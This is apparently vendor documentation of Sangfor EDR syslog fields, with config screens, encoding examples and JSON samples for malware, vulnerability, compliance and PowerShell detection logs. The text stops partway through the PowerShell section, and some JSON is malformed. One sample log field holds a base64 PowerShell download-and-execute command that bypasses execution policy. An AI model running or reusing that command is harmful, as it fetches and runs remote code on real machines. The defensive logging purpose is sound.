

# EDR reports content in Syslog



Sangfor Technologies Inc

## Catalogue

|                                                                   |    |
|-------------------------------------------------------------------|----|
| EDR reports content in Syslog.....                                | 1  |
| 1、Function Introduction.....                                      | 2  |
| 2、Character Encoding Forms.....                                   | 3  |
| 2.1 Unicode.....                                                  | 3  |
| 2.2 UTF-8.....                                                    | 3  |
| 2.3 GBK.....                                                      | 4  |
| 3、Transmission Mode.....                                          | 5  |
| 4、Backup Content.....                                             | 6  |
| 4.1 Security Log - Malware Scan.....                              | 6  |
| 4.2 Security Log - Vulnerability Scan.....                        | 10 |
| 4.3 Security Log - Complete Check.....                            | 13 |
| 4.4 Security Log - Intrusion Detection - Powershell.....          | 18 |
| 4.5 Security Log - Intrusion Detection - Webshell.....            | 23 |
| 4.6 Security Log - Intrusion Detection - Brute-Force Attacks..... | 26 |
| 4.7 Security Log - Intrusion Detection - Botnet.....              | 30 |
| 4.8 Security Log - Micro-Segmentation.....                        | 34 |
| 4.9 Security Log - Server Protection.....                         | 36 |
| 4.10 Security Log - Advanced Threat Alerts.....                   | 37 |
| 4.11 Integration Action.....                                      | 40 |
| 4.12 Operations Logs.....                                         | 41 |
| 4.13 Admin Logs.....                                              | 42 |

# 1、Function Introduction

Syslog is the default log forwarding process of the Linux system. It works in master-slave mode and is usually used to send data such as system logs and security logs to the Syslog server.

Syslog is the default log forwarding process of the Linux system. It works in master-slave mode and is usually used to send data such as system logs and security logs to the Syslog server.

Syslog Reporting

Enable syslog server

Basics

Protocol : 

TCP

UDP

IP address, e.g., 192.168.1.1

Port

Test Connectivity

Log Type : 

Security Logs

Anti-Malware Logs

Coordinated Action Logs

Operations Logs

Admin Logs

Vulnerability Scan

Security Compliance

Intrusion Detection

Micro-Segmentation

Server Protection

Advanced Threat Alerts

Character encoding for... : 

Unicode

UTF-8

GBK

Sync Mode : 

Key Info

All Info

Save

syslog Reporting Page (version 3.7.12)

Licensing

Logs

Integration Action

Control Logs

Operations Logs

Admin Logs

Reports

Data Sync

Syslog Reporting

Kafka Reporting

System

General

Data Backup

Network

Logging Options

Deployment and Upgrade

Alert Options

Syslog Reporting

Enable syslog sync

Basics

Protocol : 

TCP

UDP

IP address, e.g., 192.168.1.1

Port

Test Connectivity

Log Type : 

Security Logs

Anti-Malware Logs

Coordinated Action Logs

Operations Logs

Admin Logs

Vulnerability Scan

Security Compliance

Intrusion Detection

Micro-Segmentation

Server Protection

Advanced Threat Alerts

Encoding Format : 

Unicode

UTF-8

GBK

Sync Mode : 

Key Info

All Info

TLS Encryption

Syslog reporting Page (version 6.0.2)

## 2、Character Encoding Forms

The reported content can be in the following three encoding formats.

### 2.1 Unicode

Chinese characters are represented by unicode character codes, as shown in the following example:

```
[
  {
    "_id": {
      "$oid": "63e60ef19dc6d62a00661b82"
    },
    "module": "Syslog\u4e0a\u62a5",
    "opr": "\u6570\u636e\u540c\u6b65",
    "ip": "10.32.36.34",
    "user": "admin",
    "time": 1676021488,
    "desc":
      "syslog\u5907\u4efd\u5f00\u542f\u5f00\u670d\u52a1\u5668\u5730\u5740\u5f1a10.122.163.13\u5f0c\u7aef\u53e3\u5f1a14\u5f0c\u5420\u8f93\u534f\u8bae\u5f1atcp\u5f0c\u5420\u8f93\u7f16\u7801\u683c\u5f0f\u5f1aUnicode\u3002\u5420\u8f93\u6a21\u5f0f\u5f1a\u6781\u7b80\u6a21\u5f0f\u3002\u5907\u4efd\u5185\u5bb9\u5f1a\u5b89\u5168\u65e5\u5fd7\u5907\u4efd\u5f00\u542f\u5f0c\u75c5\u6bd2\u67e5\u6740\u65e5\u5fd7\u5f00\u542f\u5f0c\u6f0f\u6d1e\u626b\u63cf\u65e5\u5fd7\u5f00\u542f\u5f0c\u57fa\u7ebf\u68c0\u67e5\u65e5\u5fd7\u5f00\u542f\u5f0c\u5165\u4fb5\u68c0\u6d4b\u65e5\u5fd7\u5f00\u542f\u5f0c\u5fae\u9694\u79bb\u65e5\u5fd7\u5f00\u542f\u5f0c\u78c1\u76d8\u52a0\u89e3\u5bc6\u65e5\u5fd7\u5f00\u542f\u5f0c\u5b89\u5168\u52a0\u56fa\u65e5\u5fd7\u5173\u95ed\u5f0c\u9ad8\u7ea7\u5a01\u80c1\u544a\u8b66\u65e5\u5fd7\u5f00\u542f\u3002\u8054\u52a8\u65e5\u5fd7\u5f00\u542f\u5f0c\u8fd0\u7ef4\u65e5\u5fd7\u5f00\u542f\u5f0c\u64cd\u4f5c\u65e5\u5fd7 \u5f00\u542f\u3002",
    "success": true
  }
]
```

### 2.2 UTF-8

Chinese characters are displayed directly in Chinese as shown in the following example:

```
[
```

```

{
  "_id": {
    "$oid": "63e60f759dc6d6490c3a2dd2"
  },
  "module": "Syslogreporting",
  "opr": "Data Synchronism",
  "ip": "10.32.36.34",
  "user": "admin",
  "time": 1676021621,
  "desc": "syslog backup is enabled. syslog server address: 10.122.163.13, port: 514,
transmission protocol: tcp, transmission encoding format: UTF-8. Transmission mode: Minimal
mode. Backup content: Enable security log backup, virus detection and killing log, vulnerability
scan log, baseline check log, intrusion detection log, micro isolation log, disk encryption and
decryption log, security hardening log, advanced threat alarm log. Linkage logs, O&M logs, and
operation logs are enabled.",
  "success": true
}
]

```

## 2.3 GBK

Chinese characters are transmitted in an unreadable form, for example:

```

[
  {
    "_id": {
      "$oid": "63e60fbf9dc6d677c33cbc02"
    },
    "module": "Syslog 0 ",
    "opr": " ",
    "ip": "10.32.36.34",
    "user": "admin",
    "time": 1676021695,
    "desc": "syslog 3 syslog 514 10.122.163.13  tcp
    GBK g' g'  -
    η - © i - -  ~χ
    -  -  -q B - - α -
    - ",
    "success": true
  }
]

```

### 3、 Transmission Mode

There are two transmission modes: **minimal mode** and **full mode**.

**Minimal mode** transmits fields that meet baseline requirements, and **full mode** transmits all fields included in minimal mode and new fields.

In the fields listed in Section 4, the non-colored fields represent the fields transferred in minimal mode, and **the green fields** represent the fields added in full mode.

**In minimal mode**, data within seven days is reported. A total of 20,000 logs are reported each time. The number of logs to be reported for each type is  $20000 / \text{number of log types}$ .

**In full mode**, data is reported within 10 minutes by default. You can change the value to 7 days. A total of 7000 logs are reported each time.

## 4、Backup Content

Log types and fields are described as follows.

### 4.1 Security Log - Malware Scan

2

Backdoor.Generic-ASP.c3a0b719

Medium

Backdoor Program

Script

DESKTOP-5EV3QR9

Online

Unidentified

c:\users\admin\desktop\base-scene\...

2023-12-14 15:24:27

Pending

Fix

Analyze

Event Details

Virus Name:

Malware.Generic-PHP.73263113

Low

Infected Entity:

c:\users\admin\desktop\base-scene\webshell\0d4d55b87dbff4a87d37209d0caa0679.php

Threat Type:

Other

Security Engine:

Sangfor Engine Zero

Detection Method:

Custom Scan (by the agent)

Antivirus DB:

20231208145534

File Type:

Script File

File Size:

76.9 KB

File MD5:

0d4d55b87dbff4a87d37209d0caa0679

Time Created:

2022-08-16 18:58:10

Recommendations

If this is non-system file, please quarantine or delete it and enhance directory permission settings.

**Log types: virus\_event**

|                   | Meaning              | Reported Data                                                                              | Explain                                                                   |
|-------------------|----------------------|--------------------------------------------------------------------------------------------|---------------------------------------------------------------------------|
| Event Perspective | Threat Level         | "risk_level": 1                                                                            | [2]: _('High'),<br>[1]: _('Medium'),<br>[0]: _('Low')                     |
|                   | Terminal Information | "agent_id": "3675402115"<br>"host_name":<br>"DESKTOP-2B22E70"<br>"iplist": "10.122.163.22" | agent id<br>agent name<br>ip                                              |
|                   | Last Detected        | "found_time": 1672310958                                                                   |                                                                           |
|                   | Status               | "state": "pending"                                                                         | [0]: _('Pending'),<br>[1]: _('Disposal successful,<br>file quarantined'), |

|                      |                            |                                                                                            |                                                                                                                                                                                                                                                                                                                                 |
|----------------------|----------------------------|--------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|                      |                            |                                                                                            | [2]: _('Disposal failure'),<br>[3]: _('The disposal was<br>successful and the file was<br>trusted'),<br>[4]: _('Ignore'),<br>[5]: _('processing'),<br>[6]: _('restoring'),<br>[7]: _('deleting'),<br>[8]: _('Fail to delete'),<br>[9]: _('Recovery failure'),<br>[10]: _('Successful<br>repair'),<br>[11]: _('Partial pending') |
|                      |                            |                                                                                            |                                                                                                                                                                                                                                                                                                                                 |
| Virus<br>detail<br>s | Virus Name                 | "virus_name": "Trojan.Script.420334"<br>"threat_file": "Trojan.Script.420334"              |                                                                                                                                                                                                                                                                                                                                 |
|                      | Path                       | "file_path":<br>"c:\\users\\win10x86\\desktop\\exp-\\<br>42385863c8cedb9584f443de1bf19d3b" | File Path                                                                                                                                                                                                                                                                                                                       |
|                      | Attack Type                | "virus_type": "Trojan"                                                                     | UNDEFINE: 0,       // Other<br>TROJAN: 1,         // Trojan<br>WORM: 2,           // Worm<br>MINER: 3,         //Cryptomining<br>RANSOM: 4,        //Ransomware<br>INFECTION: 5     // Infectious<br>Virus                                                                                                                      |
|                      | Security Engine            | "scan_eng": "Gene Analytic Engine"                                                         | 1     // Local Cache<br>2     // Behaviour Engine<br>3     // File Reputation<br>Database<br>4     // Sangfor Cloud-Based<br>Antivirus Engine<br>5     // Sangfor Engine Zero<br>6     // Hot Events<br>7     // Gene Analytic Engine<br>(a)<br>17    // Gene Analytic Engine<br>(b)                                            |
|                      | Antivirus database version | "virus_db_version": "20221011232054"                                                       |                                                                                                                                                                                                                                                                                                                                 |
|                      | File Type                  | "file_type": "File Type"                                                                   | 1: _('Executable'),<br>2: _('Compressed'),<br>4: _('Document'),                                                                                                                                                                                                                                                                 |

|  |                  |                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
|--|------------------|---------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|  |                  |                                                   | 8: _('Script File'),<br>0: _('Other')                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
|  | File Size        | "file_size": 3670                                 | Unit: Byte                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
|  | File MD5         | "file_md5":<br>"42385863c8cedb9584f443de1bf19d3b" |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
|  | Discovery Method | "find_type": 1                                    | [0]: _('-'),<br>[1]: _('Realtime Protection'),<br>[2]: _('Manual Scan'),<br>[3]: _('Scheduled scan'),<br>[4]: _('NGAF Integration'),<br>[5]: _('IAG Integration'),<br>[6]: _(' {0} Integration',<br>EPS.sip),<br>[7]: _('MSS Integration'),<br>[8]: _(' {0} Integration',<br>EPS.xCentral),<br>[9]: _('Threat Investigation'),<br>[10]: _('Cloud Compliance Investigation'),<br>[11]: _('CBSP Integration'),<br>[12]: _('Quick scan'),<br>[13]: _('Full scan'),<br>[14]: _('Custom scan'),<br>[15]: _('Idle scan'),<br>[16]:<br>_('Cryptomining/Stubborn Virus Detection') |
|  | Time Created     | "create_time": 1672283771                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
|  |                  |                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
|  |                  | "time": 1672310958                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
|  |                  | "_id": "5A46C9E75AA513ADBCE866D2611D51EC39D9A541" |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |

Examples:

```
[{
  "_id": "6C941E33DDA773F19AEF2F21203863542E053D94",
  "file_md5": "7e5432f32a3b6f25666e0cc9acff00bf",
  "virus_name": "Suspicious.Win32.Save.a",
  "risk_level": 0,
  "create_time": 1671693072,
  "state": "Fixed",
```

```
    "time": 1671695066,  
    "found_time": 1671695066,  
    "agent_id": "3358992609",  
    "file_path":  
"c:\\users\\fc\\desktop\\tr-shopbot\\7e5432f32a3b6f25666e0cc9acff00bf",  
    "virus_type": "Others",  
    "threat_file": "Suspicious.Win32.Save.a",  
    "host_name": "DESKTOP-ARRA948",  
    "iplist": "10.122.163.99"  
}]
```

## 4.2 Security Log - Vulnerability Scan

2021-05 Servicing Stack Update for Windows 10 Version 1803 for x64-based S...

1

Blocked: 0

Unprotected: 1

Windows Update

None

2021-05-10 21:45:05

2023-12-14 17:38:38

Fix

2021-05 Servicing Stack Update for Windows 10 Version 1803 for x64-based Systems (KB5003364)

Vulnerability Info

Affected Assets

Critical

No

Not Supported

Supported

Severity

Highly Exploitable ⓘ

Protection ⓘ

Online Patching ⓘ

Basics

KB Number

KB5003364

Vuln Type

None

Description

Install this update to resolve issues in Windows. For a complete listing of the issues that are included in this update, see the associated Microsoft Knowledge Base article for more information. After you install this item, you may have to restart your computer.

Publish Time

2021-05-10 21:45:05

Affected Versions

Windows 10

Reference

<https://support.microsoft.com/help/5003364>

Recommendations

Fix Method

Patching

To fix the vulnerability, the vendor has released the following upgrade patch:

[http://download.windowsupdate.com/d/msdownload/update/software/secu/2021/05/windows10.0-kb5003364-x64\\_a480cbc720b8c0495c794a4ed0d2965b1c596599.cab](http://download.windowsupdate.com/d/msdownload/update/software/secu/2021/05/windows10.0-kb5003364-x64_a480cbc720b8c0495c794a4ed0d2965b1c596599.cab)

### Log Type: leak\_scan\_log

|                  | Meaning         | Reported Data                                                                                                                                          | Explain                                                                                   |
|------------------|-----------------|--------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------|
| Vuln Perspective | Endpoint Basics | "agent_id": "3675402115"<br>"zone_name": "Ungrouped Endpoints"<br>"ip": "10.122.163.22"<br>"host_name": "DESKTOP-2B22E70"<br>"iplist": "10.122.163.22" | agent id<br>agent name<br>ip<br>group<br>ipv4                                             |
|                  | Last Updated    | "update_time": 1672309482                                                                                                                              |                                                                                           |
|                  | Time Detected   | "found_time": 1672282353                                                                                                                               |                                                                                           |
|                  | Fixing status   | "state": "Pending"                                                                                                                                     | 1 Pending<br>2 Fixed<br>4 Patching failed<br>8 Patching<br>16 Ignored<br>32 Mark as fixed |
|                  | Severity        | "risk_level": "High-threat"                                                                                                                            | 4; // High-threat<br>2; // Medium-threat                                                  |

10

|                       |                          |                                                                                                                                                                                                                                                                                                                                                               |                                     |
|-----------------------|--------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------|
|                       |                          |                                                                                                                                                                                                                                                                                                                                                               | 1; // Low-threat                    |
|                       |                          |                                                                                                                                                                                                                                                                                                                                                               |                                     |
| Vulnerability Details | Patch ID                 | "kb": "5011495"                                                                                                                                                                                                                                                                                                                                               |                                     |
|                       | Patch Name               | "patch_name": "2022- 03 cumulative update for Windows 10 Version 1607, suitable for x86-based systems (KB5011495)"                                                                                                                                                                                                                                            |                                     |
|                       | Patch description        | "patch_desc": "A security issue has been identified in Microsoft software products that may affect your system. You can protect your system by installing this Microsoft Update. For a complete list of issues included in this update, see the related Microsoft Knowledge Base article. After installing this update, you may need to restart your system." |                                     |
|                       | Patch type               | "patch_impact": "Privilege escalation"                                                                                                                                                                                                                                                                                                                        |                                     |
|                       |                          | "need_reboot": 1                                                                                                                                                                                                                                                                                                                                              | Whether to restart: 0<br>Yes, 1 yes |
|                       | Patch release date       | "patch_release_date": 1646647567                                                                                                                                                                                                                                                                                                                              |                                     |
|                       | Patch pack download link | "patch_url":<br>"http://download.windowsupdate.com/d/msdownload/update/software/secu/2022/03/windows10.0-kb5011495-x86_0c894216751213ed2327431bc4940fe464c4d758.cab"                                                                                                                                                                                          |                                     |
|                       |                          |                                                                                                                                                                                                                                                                                                                                                               |                                     |
|                       |                          | "_id":<br>"B6F5EC4D009185AF5956832F41629AE8FAAEDB75"                                                                                                                                                                                                                                                                                                          |                                     |

#### Examples:

```
[{
  "found_time": 1671698089,
  "agent_id": "3358992609",
  "update_time": 1671700072,
  "state": "Pending",
  "risk_level": "High-threat",
  "patch_name": "2020- 07 Service stack update for Windows 10 Version 1709 for x86-based systems (KB4565553)",
  "patch_url":
"http://download.windowsupdate.com/c/msdownload/update/software/secu/2020/07/windows10.0-kb4565553-x86_1edad98edfe6e3e5aa4db7602664c0b103447ea1.cab",
  "zone_name": "Ungrouped Endpoints",
  "ip": "10.122.163.99",
}
```

```
"_id": "E00F9BE4CBBBF93FD4C21B04A0AC4D71728490BF",  
"host_name": "DESKTOP-ARRA948",  
"iplist": "10.122.163.99"
```

```
}]
```

4.3 Security Log - complete Check

| <input type="checkbox"/> | No. | Asset Info  | Cluster    | Group               | Status | Threats | Throughs | Result     | Operation |
|--------------------------|-----|-------------|------------|---------------------|--------|---------|----------|------------|-----------|
| <input type="checkbox"/> | 1   | 10.74.88.87 | DESKTOP-5E | Ungrouped Endpoints | Online | 1400    | 2        | Not Passed | Details   |

Details

 10.74.88.87 | DESKTOP-5EV3QR9

Group: Ungrouped Endpoints    Status: Online    Threats: 1400

Entities

|                          |     |                          |                                |            |                     |
|--------------------------|-----|--------------------------|--------------------------------|------------|---------------------|
| <input type="checkbox"/> | No. | Entity Name              | Entity Type                    | Result     | Operation           |
| <input type="checkbox"/> | 3   | Remote Management...     | Account Policy                 | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 4   | Default Accounts         | Access Control Policy          | Passed     | View Details Ignore |
| <input type="checkbox"/> | 5   | Security Audit Policy    | Security Audit Policy          | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 6   | Audit Logs               | Security Audit Policy          | Passed     | View Details Ignore |
| <input type="checkbox"/> | 7   | Non-Essential Syste...   | Intrusion Prevention           | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 8   | Sharing Service          | Intrusion Prevention           | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 9   | Vulnerability Scan an... | Intrusion Prevention           | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 10  | Intrusion Prevention     | Intrusion Prevention           | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 11  | Malicious Code Prev...   | Malicious Code Prevention      | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 12  | Shutdown                 | History Information Protection | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 13  | Logon                    | History Information Protection | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 14  | Interactive Logon        | History Information Protection | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 15  | Open Risky Ports         | Intrusion Prevention           | Not Passed | View Details Ignore |
| <input type="checkbox"/> | 16  | Endpoint Network M...    | Intrusion Prevention           | Not Passed | View Details Ignore |

Entries per Page 20 16 in all 1

Close

Log Type :

blscan\_event

|                        |                               |                                              |           |
|------------------------|-------------------------------|----------------------------------------------|-----------|
|                        | Meaning                       | Reported Data                                | Explain   |
| Check<br>inter<br>face | Event<br>Type[fixed<br>value] | "event_type": "Security compliance<br>check" |           |
|                        | Endpoint<br>information       | "agent_id": "293498137"                      | agent id  |
|                        |                               | "host_name": "DESKTOP-CRMJQBV"               | host name |
|                        |                               | "alias": "DESKTOP-CRMJQBV"                   |           |

|         |                    |                                               |                                                                                                                                                                                                                                                            |
|---------|--------------------|-----------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|         |                    |                                               |                                                                                                                                                                                                                                                            |
|         |                    |                                               |                                                                                                                                                                                                                                                            |
|         | Operating system   |                                               |                                                                                                                                                                                                                                                            |
|         | System type        | "iplist": "10.122.218.60"                     | IP address                                                                                                                                                                                                                                                 |
|         | Last Scanned       | "zone_name": "Ungrouped Endpoints"            | grouping                                                                                                                                                                                                                                                   |
|         | Task Status        | "system": "Windows 10 Enterprise Edition x64" |                                                                                                                                                                                                                                                            |
|         |                    | "host_plat": 2                                | (0) //Unknown<br>(1) //windows x86<br>(2) //windows x64<br>(3) //linux x86<br>(4) //linux x64<br>(5) //mac x86<br>(6) //mac x64<br>(7) //Domestic x86<br>(8) //Domestic x64                                                                                |
| Details | Total term         | "time": 1672821894                            |                                                                                                                                                                                                                                                            |
|         | Noncompliance item | "task_state_desc": "Completed"                | 0; // Original state<br>1; // MGR failed to notify AGENT<br>2; // MGR successfully notifies the AGENT<br>3; // MGR notifies AGENT of timeout<br>4; // MGR notifies the AGENT that the message is being sent<br>5; // MGR notifies AGENT of parameter error |

|  |                        |                                                                                     |                                                                                           |
|--|------------------------|-------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------|
|  |                        |                                                                                     | 6; // Agent is checking<br>7; // The Agent check is complete<br>8; // Agent check timeout |
|  | Compliance details     |                                                                                     |                                                                                           |
|  |                        | "total_items": 51                                                                   |                                                                                           |
|  | First level heading    | "unmatch_items": 28                                                                 |                                                                                           |
|  | Details                | gpset_result: [                                                                     |                                                                                           |
|  |                        | {                                                                                   |                                                                                           |
|  | Secondary heading      | "desc": "Identity authentication compliance item detection",                        |                                                                                           |
|  | Details                | "detail": [                                                                         |                                                                                           |
|  |                        | {                                                                                   |                                                                                           |
|  | Compliance item        | "desc": "User login identity authentication policy",                                |                                                                                           |
|  | Compliance or not      | "valid": false                                                                      |                                                                                           |
|  |                        | },                                                                                  |                                                                                           |
|  |                        | {                                                                                   |                                                                                           |
|  |                        | "desc": "The minimum password validity period must be at least 2 days",             |                                                                                           |
|  |                        | "valid": false                                                                      |                                                                                           |
|  |                        | },                                                                                  |                                                                                           |
|  |                        | {                                                                                   |                                                                                           |
|  |                        | "desc": "The maximum validity period of the password must be less than 90 days",    |                                                                                           |
|  |                        | "valid": true                                                                       |                                                                                           |
|  |                        | },                                                                                  |                                                                                           |
|  |                        | {                                                                                   |                                                                                           |
|  |                        | "desc": "The number of historical passwords must be greater than or equal to five", |                                                                                           |
|  |                        | "valid": false                                                                      |                                                                                           |
|  |                        | },                                                                                  |                                                                                           |
|  |                        | {                                                                                   |                                                                                           |
|  |                        | "desc": "Number of open high-risk ports Five, you are advised to block",            |                                                                                           |
|  |                        | "valid": false,                                                                     |                                                                                           |
|  | Additional description | "value":                                                                            |                                                                                           |
|  |                        | "tcp135 tcp139 tcp445 udp137 udp138"                                                |                                                                                           |
|  |                        | }...]                                                                               |                                                                                           |
|  |                        | }...]                                                                               |                                                                                           |

|  |          |                                                                                             |  |
|--|----------|---------------------------------------------------------------------------------------------|--|
|  |          | ...]                                                                                        |  |
|  |          |                                                                                             |  |
|  | Event id | _id:<br>"7640830245beef22fed59ec5a7ce1feb1d2ac582bd<br>3c83d1ea5a8bf14833185363b53c46ea030" |  |

### Examples:

```
[{"task_state_desc": "Check
complete", "time": 1676287859, "total_items": 51, "unmatch_items": 28, "gpset_result": [{"desc": "Iden
tity authentication compliance item detection", "detail": [{"desc": "User login identity authentication
policy", "detail": [{"desc": "The password must contain at least 8
characters", "valid": false}, {"desc": "The minimum password validity period must be at least 2
days", "valid": false}, {"desc": "The maximum validity period of the password must be less than 90
days", "valid": true}, {"desc": "The number of historical passwords must be greater than or equal to
five", "valid": false}, {"desc": "User login requires a user name and
password", "valid": true}, {"desc": "Empty password account
detection", "valid": true}, {"desc": "Weak password account detection", "valid": true}, {"desc": "
password complexity test ", "valid": true}], [{"desc": "logon failure handling strategies ",
"detail": [{"desc": "reset account lock count is greater than or equal to 10 minutes ", "valid":
true}, {"desc": "account locked Greater than or equal to 10 minutes between ", "valid": true}, {"
desc": "account lockout threshold value less than or equal to 5 times ", "valid": false}, {"desc":
"the screen saver time ", "valid": false}, {"desc": "RDP remote user login idle timeout is less than
10 minutes ", "valid": false}], [{"desc": "remote management strategy ", "detail": [{"desc":
"terminal has shut down a remote service ", "valid": false}, {"desc": "remote login encryption
level to high level, 3 for high level ", "valid": false}, {"desc": "remote port for SSH or HTTPS
service ", "valid": false}]]}], [{"desc": "access control compliance testing item ", "detail": [{"
desc": "default account test ", "detail": [{"desc": "Administrator is renamed or disable ",
"valid": false}, {"desc": "disabled guest account ", "valid": true}, {"desc": "default account
password change ", "valid": true}, {"desc": "hide account test ", "valid": true}, {"desc": "half
a year did not login account test", "valid": true}]]}], [{"desc": "security audit compliance testing
item ", "detail": [{"desc": "security audit strategies ", "detail": [{"desc": "system events
Review ", "valid": false}, {"desc": "login event review ", "valid": true}, {"desc": "audit object
access events ", "valid": false}, {"desc": "use event audit privilege ", "valid": false}, {"desc":
"process audit tracking events ", "valid": false}, {"desc": "strategy change event review ",
"valid": false}, {"desc": "account management event review ", "valid": false}, {"desc": "
directory service access event review ", "valid": false}, {"desc": "account login event review ",
"valid": false}], [{"desc": "audit log function ", "detail": [{"desc": "test system log service ",
"valid": true}]]}], [{"desc": "intrusion prevention compliance testing item ", "detail": [{"desc":
"not have to be tested system services ", "detail": [{"desc": "FTP service has been disabled ",
"valid": true}, {"desc": "Telnet service is disabled, "" valid": true}, {"desc": "open 1 item risk
services ", "valid": false, "value": "the Schedule"}], [{"desc": "Shared test ", "detail": [{"desc":
"Shared folder ", "valid": true}]}]. [{"desc": "Open high-risk port detection ", "detail": [{"desc":
"Number of open high-risk ports 5, Suggest blocking ", "valid": false, "value": "tcp135 | tcp139 |
```

```

tcp445 | udp137 | udp138"}}, {" desc ":" terminal network management limited ", "detail" : [{"
desc ":" open the Windows firewall ", "Valid" : false}, {" desc ":" configuration to allow access to
the host's IP segment ", "valid" : false}}, {" desc ":" terminal leak detection and update ", "detail" :
[{" desc ":" open regular detecting vulnerability strategies ", "valid" : false} Scanned, {" desc ",
"high risk vulnerabilities has been fixed", "valid" : false}, {" desc ":" vulnerability rule base
automatically update ", "valid" : true}}, {" desc ":" intrusion detection ", "detail" : [{" desc ":"
open the brute force testing" , "valid" : true}, {" desc ":" open Webshell test ", "valid" : true},{
" desc ":" open file attack protection ", "valid" : true}}]], {" desc ":" to prevent malicious code
compliance testing item ", "detail" : [{" desc ":" to prevent malicious code ", "detail" : [{" desc ":"
open the antivirus function test ", "v Alid ": true}, {" desc" : "virus library automatic update",
"valid" : false}, {" desc ":" open file real-time protection ", "valid" : true}, {" desc ":" open the
blackmail virus protection ", "valid" : true}}]], {" d Esc ":" the rest of the information protection
compliance test item ", "detail" : [{" desc ":" shutdown test ", "detail" : [{" desc ":" to turn it off
before removing virtual memory page ", "valid" : false}}]}, {" desc ":" login test ", "detail" : [{"
Desc ":" Windows login screen does not display the last login name ", "valid" : false}}, {" desc ":"
interactive logon test ", "detail" : [{" desc ":" an interactive login cache the number 0 ", "valid" :
false}}]]}],
                                "the
                                age
nt_id":"3925189646","iplist":"10.122.163.51","host_plat":2,"system":"Windows Server 2016
Standard X64 ", "alias" : "lxb612m1 WIN - 309", "zone_name" : "not grouping terminal", "_id" :
"870
                                a50070e25c3b31c0c75ada97018137445e9d8cc6ae1067c0a27545610fe
df63ea1f6d2cfb6","event_type":" Baseline detection ","host_name":"WIN-309LVB612M1"}]

```

#### 4.4 Security Log - Intrusion Detection - Powershell

PowerShell scripts execution

Suspicious fileless attack

DESKTOP-5EV3QR9

Online

c:\windows\system32\windowspow...

"PowerShell.exe" -noexit -command...

2023-12-14 20:35:42

Pending

Block

Details

Threat Type: Suspicious fileless attack

Execution Method: PowerShell scripts execution

Details

Infected Endpoints: DESKTOP-5EV3QR9 (10.74.88.87)

Process: c:\windows\system32\windowspowershell\v1.0\powershell.exe

Parameter: "PowerShell.exe" -noexit -command Set-Location -literalPath 'C:\Users\admin\Desktop'

Copy

Detection Information

Security Engine: Fileless Attack Detection Engine

Detection Method: Realtime Protection

Time Detected: 2023-12-14 20:35:42

Recommendations

Malware and Trojan usually use PowerShell script to hide themselves in order to evade antivirus scan and launch fileless attack. If you don't recognize this program, block it.

Close

**Log Type:** nofile\_attack

|                              | Meaning            | Reported Data                                                                                           | Explain    |
|------------------------------|--------------------|---------------------------------------------------------------------------------------------------------|------------|
|                              |                    |                                                                                                         |            |
| Event<br>Persp<br>ectiv<br>e | Time type          | "event_type": "PowerShell detection"                                                                    |            |
|                              | Attack             | "threat_name": "PowerShell script detection"                                                            |            |
|                              | Endpoint<br>Basics | "agent_id": "3815169755"                                                                                | agent id   |
|                              |                    | "host_name":<br>"WIN-VKGJD337IDL"                                                                       | Agent name |
|                              |                    | "iplist": "10.62.26.198"                                                                                | ip         |
|                              | Process            | "threat_process":<br>"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"                   |            |
|                              | Parameter          | "threat_process_params":<br>"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE -ep bypass" |            |

|         |                             |                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                            |
|---------|-----------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|         |                             | -e<br>SQBFaFgAIAAoAE4AZQB3ACOATwBiAGoAZQBjA<br>HQAIABoAGUAdAAuAFcAZQBIAEMAbABpAGUAbg<br>BOACkALgBkAG8AdwBuAGwAbwBhAGQAcwBOAHI<br>AaQBuAGcAKAAnAGgAdABOAHAAOgAvAC8AdgAu<br>AGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJ<br>ABlAG4AdgA6AFUAUwBFAFIARABPAEOAQQBJAE<br>4AKQA=" |                                                                                                                                                                                                                                                                            |
|         | Last Detected               | "found_time": 1672824600                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                            |
|         | Time Fixed                  | "time": 1672824119                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                            |
|         | Status                      | "state": "Allow successful"                                                                                                                                                                                                                                         | 0 //Pending<br>1 //Operation is being<br>pushing down<br>2 //Pushdown successful<br>3 //Timeout while pushing<br>down<br>4 //Allow successful<br>5 //Allow failed<br>6 //Block successful<br>7 //Block failed<br>8 //Operation failed due to<br>other errors<br>9 //Ignore |
